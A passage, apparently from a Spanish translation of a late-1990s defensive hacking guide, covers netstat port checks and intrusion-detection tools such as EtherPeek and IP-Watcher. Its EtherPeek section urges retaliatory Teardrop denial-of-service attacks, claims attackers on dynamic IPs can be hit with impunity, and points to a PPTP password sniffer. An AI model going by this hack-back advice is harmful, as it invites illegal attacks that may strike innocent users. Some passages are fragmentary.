Hay otro problema que afecta a todos los exploradores sigilosos. En realidad pueden ser detectados, y el emisor identificado, si la red objetivo está ejecutando el sniffer apropiado. EtherPeek (descrito más abajo con detalle) es uno de los que hemos probado contra Nmap en el Happy Hacker Wargame (ver http://www.happyhacker.org para los detalles de cómo jugar a nuestro Wargame). Hemos descubierto que EtherPeek detecta e identifica al usuario de los exploradores sigilosos de puertos.

Cómo ver qué puertos están abiertos en tu ordenador

Es una buena idea comprobar regularmente qué puertos están abiertos en tu propio ordenador. Si descubres un puerto nuevo, es hora de investigar. Por ejemplo, el puerto 31337 abierto es casi con seguridad una señal de que tu ordenador ha sido infectado por un troyano que corre sobre Windows y que se denomina Back Orifice. (Mira el capítulo "Cómo colarse en ordenadores Windows 95/98" para ver las instrucciones de cómo eliminarlo.)

Es posible comprobar todos los puertos sólo con las herramientas que vienen como parte de los sistemas operativos Windows o Unix. El comando "netstat -a" mostrará todos los puertos abiertos de tu ordenador. Aquí tienes lo obtenido sobre una máquina Linux:

~ > netstat -a 
Active Internet connections (including servers) 
Proto Recv-Q Send-Q Local Address Foreign Address State 
tcp 0 134 fu.ml.org:telnet pma03.foo66.com:1030 ESTABLISHED 
tcp 0 0 *:www *:* LISTEN 
tcp 0 0 fu.ml.org:22 *:* LISTEN 
tcp 0 0 *:smtp *:* LISTEN 
tcp 0 0 *:2049 *:* LISTEN 
tcp 0 0 *:660 *:* LISTEN 
tcp 0 0 *:printer *:* LISTEN 
tcp 0 0 *:auth *:* LISTEN 
tcp 0 0 *:finger *:* LISTEN 
tcp 0 0 *:imap2 *:* LISTEN 
tcp 0 0 *:pop3 *:* LISTEN 
tcp 0 0 *:login *:* LISTEN 
tcp 0 0 *:shell *:* LISTEN 
tcp 0 0 *:telnet *:* LISTEN 
tcp 0 0 *:ftp *:* LISTEN 
tcp 0 0 *:time *:* LISTEN 
tcp 0 0 *:sunrpc *:* LISTEN 
udp 0 0 *:2049 *:* 
udp 0 0 *:657 *:* 
udp 0 0 *:ntalk *:* 
udp 0 0 *:biff *:* 
udp 0 0 *:time *:* 
udp 0 0 *:syslog *:* 
udp 0 0 *:sunrpc *:* 
raw 0 0 *:1 *:* 
Active UNIX domain sockets (including servers) 
Proto RefCnt Flags Type State I-Node Path 
unix 2 [ ] STREAM 3870 /dev/log 
unix 2 [ ] STREAM CONNECTED 3869 
unix 2 [ ] STREAM 475 /dev/log 
unix 2 [ ] STREAM CONNECTED 474 
unix 2 [ ] STREAM 434 /dev/log 
unix 2 [ ] STREAM CONNECTED 433 
unix 2 [ ] STREAM 281 /dev/log 
unix 2 [ ] STREAM CONNECTED 280 
unix 2 [ ] STREAM 257 /dev/log 
unix 2 [ ] STREAM CONNECTED 252 
unix 1 [ ACC ] STREAM LISTENING 247 /dev/printer 
unix 2 [ ] STREAM 246 /dev/log 
unix 1 [ ACC ] STREAM LISTENING 207 /dev/log 
unix 2 [ ] STREAM CONNECTED 198 

¿Cómo se ve qué puertos hay abiertos en tu ordenador con Windows? Si no estás conectado a una LAN, no habrá posibilidades de ver mucho. Aquí está lo que dice mi ordenador con Windows 98 (su nombre es Lovely_Lady) cuando estoy conectada a America Online:

C:\WINDOWS>netstat -a 
 
Active Connections 
 
Proto Local Address Foreign Address State 
TCP lovely-lady:137 LOVELY_LADY:0 LISTENING 
TCP lovely-lady:138 LOVELY_LADY:0 LISTENING 
TCP lovely-lady:nbsession LOVELY_LADY:0 LISTENING 
UDP lovely-lady:nbname *:* 
UDP lovely-lady:nbdatagram *:* 



Cómo dar dolores de cabeza a los delincuentes informáticos

Ahora... ¿estás listo para la guerra?

Primero necesitas saber si hay algún intruso en tu sistema. La forma de saberlo merece al menos otro capítulo entero que todavía no he escrito. Sin embargo, hay algunos consejos para administradores de sistemas que puedo darte basándome en la experiencia de primera mano obtenida de nuestro Happy Hacker Wargame. Sin embargo, no esperes que esto sea nada más que una pequeña parte de todo lo que deberías hacer para detectar intrusos.

Por supuesto que es mucho mejor detectar a tu atacante antes de que se cuele dentro. Las señales de que alguien está intentando colarse son básicamente esas actividades que a todos nos gustan tales como exploraciones de puertos y conexiones telnet a puertos poco usuales.


 

 

Herramientas de Guerra (II)


Con lo que ya sabemos es hora de luchar contra los intrusos; comencemos con las herramientas antidelincuentes gratuitas que son importantes no sólo para los administradores de sistemas, sino también para usuarios ocasionales que únicamente quieren divertirse.

RotoRouter es una forma excelente de engañar a esos perdedores que piensan que atacar las redes de otras personas es divertido. Envía mensajes falsos indicando Time Exceeded y Destination Unreachable. En palabras de Humble, algunas de las formas en las que este programa engaña a la gente son:

Sin embargo, para ejecutar RotoRouter, debes instalarlo en una máquina Unix, como root. He aquí otra razón para ejecutar Linux en tu ordenador principal. Si lo que quieres es ejecutar RotoRouter para engañar a la gente y a los atacantes idiotas, puedes conseguirlo en la dirección http://www.bitchx.com/~humble/.

También puedes descargar una versión de prueba de la versión más avanzada para Windows de este programa, T-sight, desde el web de En Garde Systems.

He visto algunas grabaciones. Son un entretenimiento fantástico para las fiestas. En una, alguien se coló en un ordenador del Los Alamos Laboratories que en realidad era un cebo utilizado para practicar la lucha contra los delincuentes informáticos utilizando a auténticos y confiados delincuentes informáticos.

Este delincuente en particular estaba intentando enviar un correo desde este ordenador presumiendo de su hazaña y pidiendo que Kevin Mitnick fuera liberado de la cárcel. Lo fascinante fue que el Sr. Delincuente Informático no dejó de introducir comandos MS-DOS en el ordenador asaltado, que no funcionaban porque los estaba ejecutando en una máquina Unix. Después de unos 20 intentos finalmente envió su correo en plan fanfarrón. Entonces intentó borrar las evidencias de su delito borrando todo el disco duro. Sin embargo, vio que parecía no funcionar. No paró de ejecutar varios comandos de borrado, luego listó los directorios, y las cosas no parecía que desaparecieran. Casi podías sentir cómo le invadía el pánico.

TTY-Watcher es ideal cuando tú y tus amigos estáis haciendo juegos de guerra en los que los atacantes comienzan desde una cuenta del ordenador objetivo. Mediante la observación de lo que otras personas están haciendo para convertir un acceso sin privilegios en un acceso root (con máximos privilegios), puedes aprender mucho sobre cómo detectar y combatir los ataques. También conseguirás una mejor comprensión de por qué es tan difícil hoy en día conseguir una cuenta shell en un ISP.

TTY-Watcher es excepcionalmente bueno en una cosa: te permite controlar a tu víctima intrusa. Observé este suceso una vez en un juego de guerra amistoso. El que ejecutaba TTY-Watcher se compadeció del otro jugador, tomó el control de la sesión del otro pobre y corrigió sus comandos. Si tu intruso es hostil, y en su lugar quieres estropear sus comandos, puedes conseguir que tenga un día tremendamente aciago.

El único inconveniente de TTY-Watcher es que sólo se ejecuta en una máquina. Esto no permite defender a toda la red.

Es complicado, comparado con los programas mencionados arriba, pero valioso para los usuarios sofisticados que necesitan comprender los detalles técnicos de cómo un intruso se cuela. Su descripción, "un sniffer muy flexible que tiene muchas características interesantes (como curses)", sugiere que puede ser utilizado por los intrusos como un sniffer en tu red. A los delincuentes informáticos les encanta Sniffit. Si te familiarizas con sus características, te resultará muy sencillo encontrar un Sniffit oculto.



Programas de guerra de nivel industrial

Ahora supongamos que eres responsable de toda una LAN importante o de todo un ISP. Especialmente si eres responsable de un web comercial, este trabajo requiere más cosas que las que pueden hacer los programas mencionados. Según un informe de la International Computer Security Association de abril de 1997, alrededor de la mitad de los web de Estados Unidos son atacados o puestos a prueba cada mes. Aunque la mayoría de ellos son probados sin la más mínima idea, incluso las pruebas a lo tonto tienen éxito algunas veces. Puedes necesitar productos de seguridad que puedan manejar un amplio espectro de problemas de delincuencia informática, que trabajen en toda la red, y que descubran los ataques más sofisticados. Y aún más importante, necesitas potencia para defenderte. Dado que no me gusta tener en cuenta la palabra que dan las empresas sobre la calidad de sus productos de seguridad, solamente discutiré los dos que he comprobado:

EtherPeek


EtherPeek 3.5 para MacOS, del Grupo AG en http://www.aggroup.com; e IP-Watcher para Unix de En Garde Systems, http://www.engarde.com. Elegí estos dos porque prometían una potencia excepcional para detectar ataques y, en el caso de IP-Watcher, para defenderse si llega el caso. En especial EtherPeek es muy recomendado por los administradores de sistemas que conozco en la red troncal de Internet AGIS, y el Rt66, el mayor ISP de Nuevo México. Ambos, AGIS y Rt66, han tenido su ración de ataques de delincuentes informáticos, por ello tienen una experiencia real con EtherPeek. Otro extra de EtherPeek e IP-Watcher es que ambos son ideales para comprobar otros productos de seguridad tales como cortafuegos o routers con filtrado de paquetes, y localizar y obtener las evidencias necesarias para enviar a los delincuentes informáticos a la cárcel.

Empecemos con EtherPeek. Aparte de la versión para Mac, hay una versión para Windows NT, e incluso sobre Windows 95/98. Sin embargo, recomendaría la versión de Mac ya que no hay muchos hackers que sepan cómo comprometer, desactivar o reventar la seguridad de los Mac. Por el contrario, Windows es vulnerable a muchos ataques de denegación de servicio. Mientras que puedes proteger tus máquinas Windows de ataques desde Internet con un router y un cortafuegos bien configurados, ¿qué pasa si el intruso está en tu LAN?


Truco: Si tienes un módem para cable, prueba EtherPeek en él. Probablemente descubrirás que tu módem para cable es un nodo de una Ethernet: ¡podrás ver lo que cualquiera está haciendo en tu sistema de cable! Esto significa, por supuesto, que los demás pueden verte a ti. Incluso sin EtherPeek, podría ser un gran reto comprobar la posibilidad de descifrar los detalles de todo el hardware de la red de módems para cable.


Advertencia: Es muy probable que no sea buena idea explotar lo que EtherPeek te diga para tomarle el pelo a tu vecino de al lado sobre su visita la pasada noche a Bianca's Smut Shack.


EtherPeek es bueno para evaluar tu configuración de seguridad. Puede utilizarse, por ejemplo, para comprobar la forma en la que la gente entra en los ordenadores de tu red y descubrir si estas máquinas están correctamente configuradas para enviar passwords cifradas por la red local. Esto es necesario ya que, aunque parezca increíble, muchos servidores de ficheros, sistemas de correo, y bases de datos se instalan automáticamente de tal forma que envían passwords sin cifrar por la red. Una vez que un atacante se cuela en una máquina de una red como esta, puede instalar un programa como Sniffit y rápidamente capturar todas las passwords.

Nota importante: Si tu red utiliza el Point-to-Point Tunneling Protocol (PPTP) de Microsoft para cifrar passwords, y si tienes una máquina Solaris en tu red local, no estás a salvo. Hay un sniffer gratuito en http://www.l0pht.com/l0phtcrack que se ejecuta sobre Solaris y captura las passwords cifradas mediante PPTP. Otro programa que puedes encontrar en este sitio las descifra. En el momento que leas esto, podría haber versiones de este sniffer que también se ejecuten en otros sistemas operativos. Para un análisis criptográfico de por qué es fácil reventar PPTP, véase http://www.counterpane.com/pptp.html. Sin embargo, volviendo a EtherPeek, hay un menú "Tools" (herramientas) que te permite comprobar cortafuegos y routers. Por ejemplo, puedes comprobar que hacer seguro el cortafuegos consiste en evitar que los ordenadores de tu LAN respondan con información significativa ante una exploración de puertos de alguien de fuera.

El creador de EtherPeek y presidente del Grupo AG, Mahboud Zabetian, explica también que este programa puede recoger "mensajes en busca de passwords". EtherPeek tiene una "aplicación ftp en la suite TCP/IP que usa la orden PASSWORD que se envía en la conexión de órdenes que es ideal para filtrar lo que se escribe. Configurando EtherPeek con un filtro para órdenes PASSWORD de FTP, el responsable de seguridad puede examinar rápidamente por qué hay conexiones con passwords incorrectas o de dónde vienen los intentos repetidos de conexión con passwords incorrectas cuando estamos intentamos localizar el origen de los intentos para colarse en el sistema".

Vale, estoy de acuerdo, el tipo de cracker que de forma repetida intenta colarse en un servidor ftp probando passwords de forma aleatoria es poco convincente. Sin embargo, incluso los hackers torpes a veces tienen suerte. Te sorprendería cuantos usuarios eligen una password que es la misma que su nombre de usuario, o incluso eligen no tener password (sólo hay que pulsar "enter"). La mejor manera de tratar este problema es ejecutar un programa que fuerza a los usuarios a elegir passwords seguras. La biblioteca de Alec Muffet hará este trabajo. Esta disponible de forma gratuita en http://www.nmrc.org/files/sunix/index.html.

Zabetian también da consejos sobre cómo pillar a los más refinados artistas del intrusismo informático in fraganti. "Mediante la búsqueda de lo que no pertenece a las conexiones de red así como lo que sí que pertenece... se puede descubrir fallos potenciales de seguridad antes de que se conviertan en un problema. Por ejemplo, si hay un montón de intentos de conexión desde una determinada dirección externa para el grupo autorizado, es hora de hacer una visita al delincuente y descubrir qué está haciendo antes de que se convierta en algo serio."

Sí, es cierto, un hacker puede conseguir que le dén en los morros y le hagan una "visita," si hace demasiadas exploraciones de puertos y fisgonea la red de alguien.

Para obtener mejores resultados, EtherPeek (o cualquier buen programa de lucha contra la delincuencia informática) se debe colocar en un ordenador que esté en la red de acceso externo, en la parte no protegida por el cortafuegos (tienes, ¿no?) y en otro que esté en el interior para enfrentarse a los intrusos que intentan colarse de cualquier manera. Además,casi la mitad de los delitos informáticos los cometen personas que son usuarios de la red de área local que atacan.

EtherPeek viene con un programa asociado, AGNetTools, que puede explorar puertos en tu red mientras EtherPeek graba los resultados. Como se mencionó arriba, una de las señales de aviso de que tienes un visitante inesperado es la actividad anormal de los puertos. También, a veces alguien puede ser descuidado y accidentalmente abrir un puerto web o ftp que tiene poca o ninguna seguridad... y abre la puerta a invasores.

EtherPeek también es una gran herramienta de investigación informática. Puede detectar los paquetes corruptos de exploits tales como Land y Teardrop que desactivan ordenadores vulnerables. Puede guardarte estos paquetes para reenviarlos a un ordenador de prueba de forma que puedas aprender cómo realizan su sucio trabajo. Además, a veces hay ruido hardware que produce de forma accidental corrupción de paquetes, dando lugar a paquetes corruptos que dañarán las conexiones. Una vez que el Rt66 estaba sufriendo corrupción de paquetes, EtherPeek ayudó al administrador de sistemas a encontrar en unos minutos el hardware responsable.

Ocasionalmente puedes ser atacado por un oponente auténticamente sofisticado. Por ejemplo, un truco es ejecutar un ataque de denegación de servicio como el syn flood, en el que cada paquete tiene una dirección IP de origen diferente. Esto engañará a muchas defensas (tipo router o cortafuegos) al no darse cuenta que están bajo un ataque que pronto tumbará el servidor. Sin embargo, EtherPeek puede avisar de este ataque, pero no repelerlo.

Como se mencionó anteriormente, EtherPeek puede identificar fácilmente a los que usan exploradores silenciosos de puertos. También detecta la verdadera dirección IP de alguien que configura una conexión IP falsa. El atacante está enviando mensajes a la víctima pensando que la identidad de su ordenador está oculta. En el otro lado el administrador de sistemas está viendo en la pantalla de su Mac G3 la dirección IP, riéndose a la vez que lanza un ataque con Teardrop para reventar el ordenador atacante.

Lo siento, EtherPeek no contraataca. Tienes que ir a un sitio como http://www.rootshell.com para descargar algún programa de denegación de servicios como Teardrop para atacar a los chicos malos.


Advertencia: ¿Qué pasa si el atacante está en una cuenta robada a una víctima inocente? Puedes meterte en problemas si le contraatacas con un ataque de denegación de servicio.


Consejo: Si puedes determinar que tu atacante está en una dirección IP asignada dinámicamente, sería posible luchar contra él con impunidad. Una buena manera de ver si la dirección IP es asignada dinámicamente es el comando "nslookup hostname" donde sustituyes la dirección IP atacante por "hostname". Si obtienes la respuesta "Non-existent host/domain," ¡puede ser la hora de combatir! Sin embargo, esto te puede meter en líos: recuerda lo que te he advertido.


Entonces, ¿qué se hace cuándo los chicos malos atacan? EtherPeek puede activar un buscapersonas cuando detecta actividad sospechosa. Cuando llega el día en que estás bajo un ataque serio, necesitas estar físicamente en la red, incluso si ello significa que tengas que salir de la cama. A veces la única cosa que puedes hacer para parar a tu atacante es desconectar físicamente tu red de Internet. Si tienes un acceso a tu red a través de módem, tienes que hacer también ciertas cosas donde están todos los módems y desactivar las llamadas entrantes. (Utiliza un wardialer para detectar conexiones secretas a través de módems a tu LAN).

EtherPeek es también útil para grabar las pruebas que necesitas para meter a tus atacantes en la cárcel.

IP-Watcher


IP-Watcher, escrito por Mike Neuman, presidente de En Garde Systems (http://www.engarde.com) es de alguna forma la herramienta más poderosa para enviar a los delincuentes a la cárcel. Neuman ha trabajado estrechamente con varios usuarios para conseguir arrestos y condenas de estos intrusos destructivos. Esto le dio la experiencia necesaria para diseñar una herramienta para recoger pruebas que se sostuvieran en un juicio.

Mientras recopila evidencias, IP-Watcher tiene la posibilidad de proteger tu red permiténdote secuestrar la sesión IP del atacante. Puedes desviar secretamente al atacante a una "jaula" informática donde piense que todavía está en la dirección IP del ordenador en el que originalmente se coló. Si resulta que es un intruso con malas intenciones, puedes grabar sus actividades con la intención de probar el intento criminal, mientras no arriesgas nada de lo que esté fuera de la jaula informática.

Este programa fue escrito, según Neuman, con "nuestra filosofía de detección manual de intrusiones... basada en el hecho de que un intruso debe realizar conexiones con otros ordenadores para conseguir su meta".

Estas conexiones son huellas de los intrusos, y la mejor manera de atrapar a los intrusos es tener una visualización avanzada de estas huellas."

La versión Windows de IP-Watcher (T-sight) es, según Neuman, incluso más avanzada que IP-Watcher.

Igual que EtherPeek, los productos de Neuman tienen una opción para avisarte cuando detectan que alguien ha entrado en el sistema.

IP-Watcher sería una herramienta mortal en manos de los delincuentes. Con la intención de evitar abusos, En Garde Systems solamente te venderá una copia del software pre-compilada para la red concreta sobre la que piensas ejecutarlo, y activado solamente para sesiones de exploración y control de IPs en tu LAN. Neuman señala muchas formas en las que el uso de IP-Watcher puede ser abusivo:

IP-Watcher puede crear tráfico de red con direcciones fuente y destino falsas. Esto hace posible abortar cualquier conexión de usuario. Esto es esencial para parar a los atacantes, pero también puede ser utilizado para denegar el acceso a un usuario legítimo.

Cuando IP-Watcher termina una conexión de usuario mientras intenta entrar, al usuario le parece que la red simplemente ha tenido un fallo. Normalmente el usuario intentará volver a entrar, y en este punto IP-Watcher puede desviar su conexión y robar la password del usuario.

Si un administrador de sistemas utiliza el comando "su" para entrar en una cuenta root, IP-Watcher capturará el texto de la password a través de su capacidad de grabar lo tecleado.

Este programa se puede configurar para grabar lo que captura en muchos ficheros pequeños. Esto resulta útil ya que hace difícil para el intruso editar los ficheros de log. Sin embargo, si IP-Watcher está en manos de un atacante, esta característica impide al administrador de sistemas descubrir un explorador oculto, mediante la técnica de buscar ficheros inexplicablemente grandes.

Incluso los sistemas con password de un solo uso son vulnerables a IP-Watcher. Puede ser utilizado para secuestrar una conexión de un verdadero usuario. Mientras el usuario está haciendo sus cosas, el intruso puede estar utilizando secretamente la misma conexión para instalar una puerta trasera.


Aviso de cárcel: Los delincuentes informáticos pueden estar tentados de intentar colarse en la LAN de En Garde Systems con la esperanza de robar el código fuente de T-sight e IP-Watcher. Este es probablemente el mejor lugar para ir si uno quiere de verdad convertirse en culpable de un delito informático.




Conclusiones


La autodefensa contra los delitos informáticos es un tema que ha sido descuidado durante mucho tiempo. Esta es la razón por la que tienes que pensar como un atacante y estar íntimamente familiarizado con sus herramientas y tácticas. Sin embargo, muchos administradores de sistemas confían exclusivamente en productos de seguridad informática comerciales para mantener a los chicos malos a raya. El problema es que ¡ningún cortafuegos es perfecto!.

Por el contrario, si utilizas algo del software y de las técnicas de este capítulo para observar y batallar contra los intrusos, tedrás una oportunidad de combatirles incluso si tu cortafuegos no consigue detener a los chicos malos. También puede ser divertido detectar a tus atacantes y luchar contra ellos. ¡Asegúrate de guardar los logs de TTY-Watcher de forma que puedas poner tus últimas batallas contra los hackers en las fiestas!

 

 

VOLUMEN 4

Despues de aqui no esta disponible buscar donde se puede terminar de bajar        

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1